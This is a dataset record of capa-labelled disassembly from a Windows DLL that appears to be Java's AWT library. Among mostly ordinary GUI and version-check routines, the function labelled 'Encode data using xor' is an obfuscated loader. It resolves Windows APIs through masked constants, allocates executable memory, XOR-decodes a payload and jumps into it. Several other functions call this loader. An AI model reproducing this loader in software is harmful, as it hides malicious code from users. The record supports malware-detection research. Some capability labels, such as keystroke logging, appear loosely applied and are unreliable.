joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d082858
Capabilities:
Query environment variable

Disassembly:
push ebp
lea ebp, [esp - 0x38c]
sub esp, 0x40c
mov eax, dword [0x6d0f8610]
xor eax, ebp
mov dword [ebp + 0x388], eax
push esi
mov esi, ecx
mov ecx, dword [esi + 0xc08]
push edi
call fcn.6d095ef6
mov edi, eax
test edi, edi
je 0x6d082a29
push ebx
push 0xc
push edi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, dword [esi + 0xc08]
push edi
mov ebx, eax
call fcn.6d095f00
cmp ebx, 8
jne 0x6d0828f5
mov ecx, dword [esi + 0xc08]
call fcn.6d095ef6
mov ebx, eax
lea eax, [ebp - 0x78]
push eax
push ebx
call fcn.6d0826d1
pop ecx
pop ecx
mov ecx, dword [esi + 0xc08]
push ebx
mov edi, eax
call fcn.6d095f00
cmp edi, dword [esi + 0xc00]
jne 0x6d0828fc
mov eax, edi
shl eax, 2
push eax
lea eax, [esi + 0x800]
push eax
lea eax, [ebp - 0x78]
push eax
call sub.MSVCR100.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x6d0828fc
xor eax, eax
jmp 0x6d082a28
mov eax, 0x100
cmp edi, eax
jle 0x6d082907
mov edi, eax
mov eax, edi
shl eax, 2
push eax
lea eax, [ebp - 0x78]
push eax
lea ebx, [esi + 0x800]
push ebx
call sub.MSVCR100.dll_memcpy
and dword [ebp - 0x80], 0
add esp, 0xc
lea eax, [edi - 1]
push ebx
mov ecx, esi
mov dword [esi + 0xc00], edi
mov dword [ebp - 0x7c], eax
call fcn.6d08901e
cmp eax, 1
jne 0x6d082941
push 2
jmp 0x6d082984
cmp eax, 2
jne 0x6d08294a
push 3
jmp 0x6d082984
push str.FORCEGRAY
call dword [sym.imp.MSVCR100.dll_getenv]
pop ecx
test eax, eax
je 0x6d082982
push 0xa
pop edx
lea eax, [esi + 0x7d8]
mov ecx, edx
and dword [eax - 0x3d8], 0
and dword [eax], 0
add eax, 4
dec ecx
jne 0x6d082965
sub edi, 0x14
sub dword [ebp - 0x7c], edx
mov dword [ebp - 0x80], edx
push 1
jmp 0x6d082984
push 0
mov ecx, dword [esi + 0xc08]
call fcn.6d096479
mov ecx, dword [ebp - 0x80]
cmp ecx, dword [ebp - 0x7c]
jg 0x6d0829c8
lea eax, [esi + ecx*4 + 0x400]
movzx edx, byte [ebp + ecx*4 - 0x78]
movzx ebx, byte [ebp + ecx*4 - 0x77]
or edx, 0xffffff00
shl edx, 8
or edx, ebx
movzx ebx, byte [ebp + ecx*4 - 0x76]
shl edx, 8
or edx, ebx
mov dword [eax], edx
inc ecx
add eax, 4
cmp ecx, dword [ebp - 0x7c]
jle 0x6d08299e
push 0x20
lea ebx, [esi + 0x400]
push edi
push ebx
call fcn.6d08901e
mov dword [esi + 0xc0c], eax
mov eax, dword [esi + 0xc08]
mov edi, dword [eax + 8]
mov eax, dword [eax]
mov eax, dword [eax]
add esp, 0xc
cmp eax, 3
je 0x6d0829f7
cmp eax, 1
jne 0x6d082a25
test edi, edi
je 0x6d082a25
mov eax, dword [edi + 0x10]
test eax, eax
je 0x6d082a0e
push eax
call dword [sym.imp.MSVCR100.dll_free]
and dword [edi + 0x10], 0
pop ecx
mov eax, dword [esi + 0xc08]
push dword [eax + 8]
push 0x100
push ebx
call fcn.6d08901e
add esp, 0xc
xor eax, eax
inc eax
pop ebx
mov ecx, dword [ebp + 0x388]
pop edi
xor ecx, ebp
pop esi
call fcn.6d0b0acb
add ebp, 0x38c
leave
ret
Function at 0x6d08901e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x6d08902d
pop dword [ebp - 0x30]
mov eax, 0x98c3b23c
sub eax, 0x2bbb220f
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x17a5f0a5
sub dword [ebp - 0x40], 0xc953ab5a
mov dword [ebp - 0x3c], 0x4d7f0106
sub dword [ebp - 0x3c], 0x1b4bb4c1
mov dword [ebp - 0x38], 0xa9c92f27
sub dword [ebp - 0x38], 0x5d7ceaf9
mov dword [ebp - 0x34], 0x86600fe0
add dword [ebp - 0x34], 0x799ff020
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x7bfdac19
add dword [ebp - 0x40], 0xf874bd3d
mov dword [ebp - 0x3c], 0xb7ba5d3f
sub dword [ebp - 0x3c], 0x764dfbca
mov dword [ebp - 0x38], 0x7940f50e
add dword [ebp - 0x38], 0xea2e775e
mov dword [ebp - 0x34], 0x2101f140
sub dword [ebp - 0x34], 0x2101f140
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3bc79
push 0
call eax
mov ecx, 0xd338b232
add ecx, 0x2cc79042
mov edi, eax
mov ebx, 0x6d141200
add ebx, dword [ebp - 0x30]
mov esi, 0x2af34a7b
sub esi, 0x615d945e
add dword [ebp - 0x28], ecx
mov edx, dword [ebx]
add dword [ebp - 0x24], 0xfb499d0
xor edx, esi
xor dword [ebp - 0x28], 0xd71022fd
mov dword [edi], edx
sub dword [ebp - 8], esi
add edi, 4
add ebx, 0x579f7f11
sub ebx, 0x579f7f0d
loop 0x6d08913f
add eax, 0x48be51d8
sub eax, 0x48bd5535
mov ebx, eax
add eax, 5
mov ecx, 0x9fcdf25c
sub ecx, 0x32cdf25c
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x6d08afa6
Capabilities:
Check os version

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push 1
push 0
mov ebx, 0x43f
mov esi, ecx
push ebx
push dword [esi + 0x28]
call edi
mov ebp, dword [esp + 0x14]
push ebp
push 0
push 0x437
push dword [esi + 0x28]
call edi
push 1
push 1
push ebx
push dword [esi + 0x28]
call edi
call dword [sym.imp.kernel32.dll_GetVersion]
cmp al, 6
jb 0x6d08affb
mov eax, dword [ebp]
cmp eax, dword [ebp + 4]
jne 0x6d08affb
push 1
push 0
push dword [esi + 0x28]
call dword [sym.imp.USER32.dll_InvalidateRect]
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x6d08d5b0
Capabilities:
Log keystrokes via polling

Disassembly:
test byte [0x6d0fb3c4], 1
jne 0x6d08d5cd
or dword [0x6d0fb3c4], 1
push 0x17
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x6d0fb3c0], eax
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
xor esi, esi
call edi
shr eax, 8
test al, al
je 0x6d08d5e7
mov esi, 8
push 0x10
call edi
shr eax, 8
test al, al
je 0x6d08d5f5
or esi, 4
push 1
call edi
shr eax, 8
test al, al
je 0x6d08d60e
xor eax, eax
cmp dword [0x6d0fb3c0], eax
setne al
inc eax
or esi, eax
push 2
call edi
shr eax, 8
test al, al
je 0x6d08d628
mov ecx, dword [0x6d0fb3c0]
neg ecx
sbb ecx, ecx
add ecx, 2
or esi, ecx
push 4
call edi
shr eax, 8
test al, al
je 0x6d08d636
or esi, 0x10
pop edi
mov eax, esi
pop esi
ret

Function at 0x6d08e3c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x6d0b1bf8
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x6d0f8610]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi]
mov edx, dword [eax]
call edx
xor eax, eax
cmp dword [esi + 0x1c], eax
je 0x6d08e417
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call edx
xor al, al
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 4
mov ecx, dword [esi + 0x2c]
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov al, byte [esp + 0x1c]
push ecx
mov byte [esi + 0x20], al
mov dword [esi + 0x1c], 2
call dword [sym.imp.kernel32.dll_SetEvent]
mov edx, dword [esi]
mov eax, dword [edx + 8]
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call eax
mov al, 1
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 4

Function at 0x6d08e460
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x6d0b1bf8
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x6d0f8610]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi]
mov edx, dword [eax]
call edx
cmp dword [esi + 0x1c], 0
je 0x6d08e4b6
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call edx
xor al, al
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 8
mov eax, dword [esp + 0x1c]
mov edx, dword [esi + 0x2c]
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x30], eax
neg eax
sbb eax, eax
add eax, 2
push edx
mov dword [esi + 0x34], ecx
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_SetEvent]
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call edx
mov al, 1
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 8
Function at 0x6d08f090
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6d0b43c0
mov eax, dword fs:[0]
push eax
sub esp, 0x108
mov eax, dword [0x6d0f8610]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
call fcn.6d09cfff
call fcn.6d08901e
mov esi, dword [sym.imp.kernel32.dll_GetVersion]
call esi
push eax
push eax
push str.0x_x___ld
lea eax, [ebp - 0x114]
push 0x80
push eax
call fcn.6d0959c2
add esp, 0x14
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.kernel32.dll_lstrlenW]
mov edi, eax
call esi
cmp al, 5
jb 0x6d08f157
call esi
cmp al, 5
jb 0x6d08f11c
call esi
shr eax, 8
cmp al, 1
jae 0x6d08f122
call esi
cmp al, 5
jbe 0x6d08f143
call esi
cmp al, 6
jb 0x6d08f12f
push str.__Windows_Vista_
jmp 0x6d08f15c
push str.__Windows_XP_
push 0x80
lea eax, [ebp + edi*2 - 0x114]
push eax
jmp 0x6d08f169
push str.__Windows_2000_
push 0x80
lea ecx, [ebp + edi*2 - 0x114]
push ecx
jmp 0x6d08f169
push str.__Unknown_
push 0x80
lea edx, [ebp + edi*2 - 0x114]
push edx
call fcn.6d0959c2
lea eax, [ebp - 0x114]
add esp, 0xc
push eax
call dword [sym.imp.MSVCR100.dll_wcslen]
mov ecx, dword [ebx]
add esp, 4
push eax
mov eax, dword [ecx + 0x28c]
lea edx, [ebp - 0x114]
push edx
push ebx
call eax
jmp 0x6d08f1a3
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.6d0b0acb
mov esp, ebp
pop ebp
ret 8
Function at 0x6d08f380
Capabilities:
Access peb ldr_data
Get ntdll base address
Log keystrokes via polling

Disassembly:
push 0xffffffffffffffff
push 0x6d0b4465
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x6d0f8610]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
mov edi, dword [sym.imp.kernel32.dll_InitializeCriticalSection]
lea eax, [esi + 0x15c]
mov ebp, vtable.CriticalSection.0
push eax
mov dword [esi + 0x158], ebp
call edi
lea ecx, [esi + 0x184]
xor ebx, ebx
push ecx
mov dword [esp + 0x28], ebx
mov dword [esi + 0x180], ebp
call edi
lea edx, [esi + 0x1ac]
push edx
mov dword [esi + 0x1a8], ebp
call edi
mov edi, dword [sym.imp.kernel32.dll_CreateEventW]
push ebx
push ebx
mov ebp, 1
push ebp
push ebx
mov dword [esi + 0x1c4], 0xffffffff
mov byte [esi + 0x1c8], bl
mov dword [esi + 0x1cc], ebx
mov dword [esi + 0x1d8], ebx
mov dword [esi + 0x1dc], ebx
mov dword [esi + 0x1e0], ebx
mov dword [esi + 0x1e4], ebx
call edi
push ebx
push ebx
push ebx
push ebx
mov dword [esi + 0x1d0], eax
call edi
mov dword [esi + 0x1d4], eax
push 0x28
mov byte [esp + 0x28], 2
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebp
mov dword [esi + 0x24], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi], ebx
mov dword [esi + 0x28], ebp
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x1a4], ebx
mov dword [esi + 0x50], ebx
call fcn.6d09cff9
add esp, 4
mov dword [esp + 0x18], eax
mov byte [esp + 0x24], 3
cmp eax, ebx
je 0x6d08f49f
mov ecx, eax
call fcn.6d06275e
jmp 0x6d08f4a1
xor eax, eax
mov byte [esp + 0x24], 2
mov dword [esi + 0x54], eax
mov dword [esi + 0x174], ebx
mov dword [esi + 0x178], ebx
mov dword [esi + 0x17c], ebx
mov dword [esi + 0x19c], ebx
mov dword [esi + 0x1a0], ebx
call fcn.6d070665
lea eax, [esi + 0x58]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebx
push ebx
push ebx
push ebx
call edi
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov eax, esi
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x6d08f8f0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
mov eax, dword [edi]
push eax
mov ebx, ecx
call fcn.6d06fc27
mov esi, eax
add esp, 4
test esi, esi
je 0x6d08f91c
mov edx, dword [esi]
mov eax, dword [edx + 0x98]
push edi
mov ecx, esi
call eax
cmp eax, 2
je 0x6d08f948
mov eax, dword [edi + 4]
cmp eax, 0x200
jb 0x6d08f92d
cmp eax, 0x20e
jbe 0x6d08f93b
cmp eax, 0xa0
jb 0x6d08f953
cmp eax, 0xa9
ja 0x6d08f953
push edi
push esi
mov ecx, ebx
call fcn.6d08db70
test eax, eax
je 0x6d08f986
pop edi
pop esi
mov eax, 1
pop ebx
ret 4
cmp eax, 0x100
jb 0x6d08f986
cmp eax, 0x109
ja 0x6d08f986
mov edx, dword [ebx + 0x158]
mov eax, dword [edx]
lea esi, [ebx + 0x158]
mov ecx, esi
call eax
add ebx, 0x58
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov edx, dword [esi]
mov eax, dword [edx + 8]
mov ecx, esi
call eax
pop edi
pop esi
xor eax, eax
pop ebx
ret 4

Function at 0x6d090fb0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x6d0b1c28
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x6d0f8610]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi]
mov edx, dword [eax]
call edx
cmp dword [esi + 0x1c], 0
jle 0x6d09100a
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
mov dword [esp + 0x1c], 0xffffffff
call edx
xor al, al
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x6d09101a
mov eax, dword [esp + 0x24]
mov dword [esi + 0x38], eax
jmp 0x6d091031
mov eax, dword [ecx + 0x24]
test eax, eax
je 0x6d09102a
mov ecx, eax
mov eax, dword [eax + 0x24]
test eax, eax
jne 0x6d091021
mov edx, dword [esp + 0x24]
mov dword [ecx + 0x24], edx
or ebx, 0xffffffff
cmp dword [esi + 0x1c], ebx
jle 0x6d091052
mov eax, dword [esi + 0x2c]
push eax
call dword [sym.imp.kernel32.dll_SetEvent]
mov edx, dword [esi]
mov eax, dword [edx + 8]
mov ecx, esi
mov dword [esp + 0x1c], ebx
call eax
jmp 0x6d0910c5
mov ecx, dword [esi + 0x2c]
mov edi, dword [sym.imp.kernel32.dll_ResetEvent]
push ecx
call edi
mov edx, dword [esi + 0x28]
push edx
call edi
lea edi, [esi + 0x24]
push edi
push 0
push esi
push 0x6d090df0
push 0x100000
push 0
call dword [sym.imp.MSVCR100.dll__beginthreadex]
add esp, 0x18
test eax, eax
jne 0x6d0910aa
mov dword [edi], eax
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
mov dword [esp + 0x1c], ebx
call edx
xor al, al
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
push eax
mov dword [esi + 0x1c], 0
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
mov dword [esp + 0x1c], ebx
call edx
mov al, 1
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x6d0910e0
Capabilities:
Set global application hook

Disassembly:
push 0xffffffffffffffff
push 0x6d0b466e
mov eax, dword fs:[0]
push eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x6d0f8610]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [0x6d0fb1f0], 0
je 0x6d0911df
cmp dword [0x6d0fb1e0], 0
jne 0x6d0911df
test byte [0x6d0f9858], 1
jne 0x6d091157
or dword [0x6d0f9858], 1
mov ecx, 0x6d0f9854
mov dword [esp + 0x1c], 0
call fcn.6d0af3d6
push 0x6d0b59d6
call fcn.6d08901e
add esp, 4
mov dword [esp + 0x1c], 0xffffffff
mov ecx, 0x6d0f9854
call fcn.6d08901e
mov ebx, dword [esp + 0x24]
test ebx, ebx
jne 0x6d091176
push 1
lea ecx, [esi + 0x1a8]
call fcn.6d08e3c0
call fcn.6d090f50
call fcn.6d09d0b4
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov esi, eax
push 0xe
push esi
call edi
push 0xc
push esi
mov ebp, eax
call edi
imul ebp, eax
cmp ebp, 4
jge 0x6d0911f7
push 0x10
push str.AWT_Initialization_Error
push str.Sorry__but_this_release_of_Java_requires_at_least_16_colors
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [0x6d0fb1cc]
push 0x10002
push eax
call sub.java.dll__JNU_GetEnv_8
push str.unsupported_screen_depth
push str.java_lang_InternalError
push eax
call sub.java.dll__JNU_ThrowByName_12
xor eax, eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4
push esi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov dword [0x6d0fb1dc], ebx
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
mov ecx, dword [0x6d0fb34c]
mov edx, dword [str.SunAwtToolkit]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0x8000000
push str.theAwtToolkitWindow
push edx
push 0
mov dword [0x6d0fb1e0], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x6d0fb1e4], eax
mov eax, dword [0x6d0fb1e0]
push eax
push 0
push 0x6d090c60
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x6d0fb218], eax
call fcn.6d097db1
mov eax, 1
jmp 0x6d0911e1

Function at 0x6d0959fc
Capabilities:
Check os version

Disassembly:
push 0xc
mov eax, 0x6d0b4aa9
call fcn.6d0b0ca9
mov eax, dword [0x6d0f806c]
cmp eax, 0xfffffffe
jne 0x6d095a81
call dword [sym.imp.kernel32.dll_GetVersion]
cmp al, 6
jae 0x6d095a27
and dword [0x6d0f806c], 0
xor eax, eax
jmp 0x6d095a81
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
call fcn.6d08901e
pop ecx
cmp eax, ebx
jl 0x6d095a4b
mov ebx, dword [ebp - 0x14]
jmp 0x6d095a4b
push 0x10002
push dword [0x6d0fb1cc]
mov dword [0x6d0f806c], ebx
call sub.java.dll__JNU_GetEnv_8
movzx ecx, bl
push ecx
push str._Z_V
push str.dwmCompositionChanged
push str.sun_awt_Win32GraphicsEnvironment
push 0
push eax
call sub.java.dll_JNU_CallStaticMethodByName
add esp, 0x18
mov eax, ebx
call fcn.6d0b0d4e
ret
Function at 0x6d095b71
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x5b4]
sub esp, 0x634
mov eax, dword [0x6d0f8610]
xor eax, ebp
mov dword [ebp + 0x5b0], eax
push ebx
mov ebx, dword [ebp + 0x5bc]
push esi
mov dword [ebp - 0x7c], 0x105
lea esi, [ebp + 0x3a4]
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
movzx eax, ax
mov ecx, 0x411
cmp ax, cx
jne 0x6d095bbb
mov eax, str.EUDC932
jmp 0x6d095c1f
mov ecx, 0x804
cmp ax, cx
je 0x6d095c1a
mov ecx, 0x1004
cmp ax, cx
je 0x6d095c1a
mov ecx, 0xc04
cmp ax, cx
je 0x6d095c13
mov ecx, 0x404
cmp ax, cx
je 0x6d095c13
mov ecx, 0x1404
cmp ax, cx
je 0x6d095c13
mov ecx, 0x412
cmp ax, cx
jne 0x6d095bfe
mov eax, str.EUDC949
jmp 0x6d095c1f
mov ecx, 0x409
cmp ax, cx
jne 0x6d095ccf
mov eax, str.EUDC1252
jmp 0x6d095c1f
mov eax, str.EUDC950
jmp 0x6d095c1f
mov eax, str.EUDC936
lea ecx, [ebp - 0x78]
push ecx
push 0x20019
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x6d095ccf
push edi
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x3a4]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push str.SystemDefaultEUDCFont
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x78]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x6d095ccf
cmp dword [ebp - 0x80], 1
jne 0x6d095ccf
mov ecx, dword [ebp - 0x7c]
xor eax, eax
mov word [ebp + ecx*2 + 0x3a4], ax
lea eax, [ebp + 0x3a4]
push str._SystemRoot_
push eax
call dword [sym.imp.MSVCR100.dll_wcsstr]
pop ecx
pop ecx
test eax, eax
je 0x6d095cea
push str.SystemRoot
call dword [sym.imp.MSVCR100.dll__wgetenv]
pop ecx
test eax, eax
je 0x6d095ccf
lea ecx, [ebp + 0x3bc]
push ecx
push eax
push str._s_s
lea eax, [ebp + 0x198]
push 0x104
push eax
call fcn.6d0959c2
add esp, 0x14
cmp eax, 0xffffffff
jne 0x6d095d32
xor eax, eax
mov ecx, dword [ebp + 0x5b0]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d0b0acb
add ebp, 0x5b4
leave
ret 8
lea eax, [ebp + 0x3a4]
push str.EUDC.TTE
push eax
call dword [sym.imp.MSVCR100.dll_wcscmp]
pop ecx
pop ecx
test eax, eax
jne 0x6d095d38
push 0x105
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x6d095ccf
lea eax, [ebp - 0x74]
push eax
push str._sFONTSEUDC.TTE
lea eax, [ebp + 0x198]
push 0x104
push eax
call fcn.6d0959c2
add esp, 0x10
lea esi, [ebp + 0x198]
push esi
call dword [sym.imp.MSVCR100.dll_wcslen]
pop ecx
mov ecx, dword [ebx]
push eax
push esi
push ebx
call dword [ecx + 0x28c]
jmp 0x6d095cd1

Function at 0x6d095e16
Capabilities:
Check os version

Disassembly:
mov dword [0x6d0f806c], 0xfffffffe
jmp fcn.6d0959fc

Function at 0x6d0965f1
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [ecx]
cmp dword [eax + 4], 8
jle 0x6d0965fc
xor eax, eax
ret
mov ecx, dword [ecx + 4]
jmp fcn.6d082858
Function at 0x6d09b73e
Capabilities:
Log keystrokes via polling

Disassembly:
push 0x2c
mov eax, 0x6d0b5150
call fcn.6d0b0d15
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
call fcn.6d09cfff
call fcn.6d08901e
push 0x10002
push dword [0x6d0fb1cc]
call sub.java.dll__JNU_GetEnv_8
push dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
call fcn.6d097de2
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
pop ecx
push 1
mov dword [esi - 0x44], eax
call edi
mov ebx, 0xff00
test bx, ax
jne 0x6d09b322
push 4
call edi
test bx, ax
jne 0x6d09b322
push 2
call edi
push 0x10
call edi
push 0x11
call edi
push 0x12
call edi
call fcn.6d06c5fd
mov ebx, eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call dword [sym.imp.USER32.dll_WindowFromPoint]
xor ecx, ecx
xor edi, edi
cmp dword [ebp + 0xc], edi
mov dword [esi - 0x4c], eax
sete cl
mov dword [ebp - 0x38], ecx
cmp ecx, edi
je 0x6d09b384
cmp dword [esi - 0x48], edi
jne 0x6d09b378
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [esi - 0x58]
push dword [ebp - 0x30]
call fcn.6d09a4ac
add esp, 0x10
mov dword [esi - 0x4c], edi
mov dword [esi - 0x48], 1
jmp 0x6d09b3af
cmp eax, edi
je 0x6d09b3af
mov eax, 0x6d09a311
cmp dword [esi - 0x48], edi
jne 0x6d09b397
mov eax, 0x6d09a39a
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push ebx
push dword [esi - 0x44]
push dword [esi - 0x58]
push dword [ebp - 0x30]
call eax
add esp, 0x18
mov dword [esi - 0x48], edi
mov eax, dword [esi - 0x4c]
cmp eax, edi
je 0x6d09b40d
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
call dword [sym.imp.USER32.dll_ScreenToClient]
lea eax, [ebp - 0x24]
push eax
push dword [esi - 0x4c]
call dword [sym.imp.USER32.dll_GetClientRect]
push dword [ebp - 0x30]
lea eax, [ebp - 0x24]
push dword [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
je 0x6d09b3ff
mov eax, dword [ebp - 0x34]
mov dword [esi - 0x18], eax
mov eax, dword [ebp - 0x30]
mov dword [esi - 0x10], edi
mov dword [esi - 0x14], eax
jmp 0x6d09b41a
mov eax, dword [ebp - 0x2c]
mov dword [esi - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [esi - 0x14], eax
jmp 0x6d09b413
mov dword [esi - 0x18], edi
mov dword [esi - 0x14], edi
mov dword [esi - 0x10], 1
mov eax, dword [ebp - 0x38]
lea ecx, [esi - 0x60]
mov dword [esi - 0xc], eax
call fcn.6d09a092
jmp 0x6d09b444
call fcn.6d0b0d71
ret 8
mov ecx, dword [esp + 4]
sub ecx, dword [ecx - 4]
mov dword [esp + 4], ecx
jmp 0x6d09b2c5